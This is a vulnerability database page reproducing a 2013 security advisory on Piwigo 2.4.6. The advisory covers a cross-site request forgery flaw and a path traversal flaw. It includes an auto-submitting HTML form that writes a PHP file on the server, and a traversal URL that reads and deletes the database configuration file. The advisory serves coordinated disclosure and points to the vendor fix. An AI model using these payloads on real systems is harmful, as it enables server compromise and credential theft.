Lucene search
K

Piwigo 2.4.6 - Multiple Vulnerabilities

🗓️ 01 Mar 2013 00:00:00Reported by High-Tech Bridge SAType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 54 Views

Piwigo 2.4.6 - Multiple Vulnerabilities including Cross-Site Request Forgery and Path Traversa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Piwigo 2.4.6 Cross Site Request Forgery / Traversal Vulnerabilities
1 Mar 201300:00
zdt
0day.today
Piwigo 2.4.6 - Multiple Vulnerabilities
1 Mar 201300:00
zdt
0day.today
Piwigo 2.7.2 SQL Injection / Cross Site Scripting Vulnerabilities
20 Dec 201400:00
zdt
Circl
CVE-2013-1468
1 Mar 201300:00
circl
Circl
CVE-2013-1469
19 Feb 201300:00
circl
Check Point Advisories
Piwigo Photo Gallery Project install script Directory Traversal - Ver2 (CVE-2013-1469)
28 Dec 201400:00
checkpoint_advisories
CVE
CVE-2013-1468
12 Mar 201316:00
cve
CVE
CVE-2013-1469
13 Mar 201320:48
cve
Cvelist
CVE-2013-1468
12 Mar 201316:00
cvelist
Cvelist
CVE-2013-1469
13 Mar 201320:48
cvelist
Rows per page
Advisory ID: HTB23144
Product: Piwigo
Vendor: Piwigo project
Vulnerable Version(s): 2.4.6 and probably prior
Tested Version: 2.4.6
Vendor Notification: February 6, 2013 
Vendor Patch: February 19, 2013 
Public Disclosure: February 27, 2013 
Vulnerability Type: Cross-Site Request Forgery [CWE-352], Path Traversal [CWE-22]
CVE References: CVE-2013-1468, CVE-2013-1469
Risk Level: High 
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 4 (AV:N/AC:H/Au:N/C:P/I:N/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Piwigo, which can be exploited to perform Сross-Site Request Forgery and Path Traversal attacks.


1) Сross-Site Request Forgery (CSRF) in Piwigo: CVE-2013-1468

The vulnerability exists due to insufficient verification of the HTTP request origin in "/admin.php" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create arbitrary PHP file on the remote server.

The following PoC (Proof of Concept) code creates a file "file.php" containing "phpinfo();", which can be later accessed via the http://[host]/file.php URL:


<form action="http://[host]/admin.php?page=plugin-LocalFilesEditor" method="post" name="f1">
<input type="hidden" name='edited_file' value='file.php'>
<input type="hidden" name='text' value=' phpinfo(); '>
<input type="hidden" name='submit' value='1'>
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>


Successful exploitation requires that the "LocalFiles Editor" plugin is enabled (disabled by default).


2) Path Traversal in Piwigo: CVE-2013-1469

The vulnerability exists due to insufficient filtration of user-supplied input in "dl" HTTP GET parameter passed to "/install.php" script. The script is present on the system after installation by default, and can be accessed by attacker without any restrictions. The vulnerable code is:


if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
{
  $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
  ...
  echo file_get_contents($filename);
  ...
}


However, the vulnerability may be exploited only if PHP 'file_exists' function returns 'true' both for "C:/boot.ini" (or any existing file) and for "C:/any_non_existing_directory/../boot.ini" (in our case the non-existing directory in path is "/pwg_/"). This works in default PHP installation on Windows platform (tested on Windows 7, PHP 5.3.x). In case of successful exploitation remote attacker can read content of arbitrary files on the vulnerable system. 
Important: after being read the file is deleted (if web server has write permission to it).


The following PoC (Proof of Concept) code will display and delete the application's configuration file:

http://piwigo/install.php?dl=/../../local/config/database.inc.php


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to Piwigo 2.4.7

More Information:
http://piwigo.org/releases/2.4.7
http://piwigo.org/bugs/view.php?id=0002843
http://piwigo.org/bugs/view.php?id=0002844

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23144 - https://www.htbridge.com/advisory/HTB23144 - Multiple Vulnerabilities in Piwigo.
[2] Piwigo - http://piwigo.org/ - Piwigo is a photo gallery software for the web, built by an active community of users and developers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Mar 2013 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 27.6
EPSS0.45471
54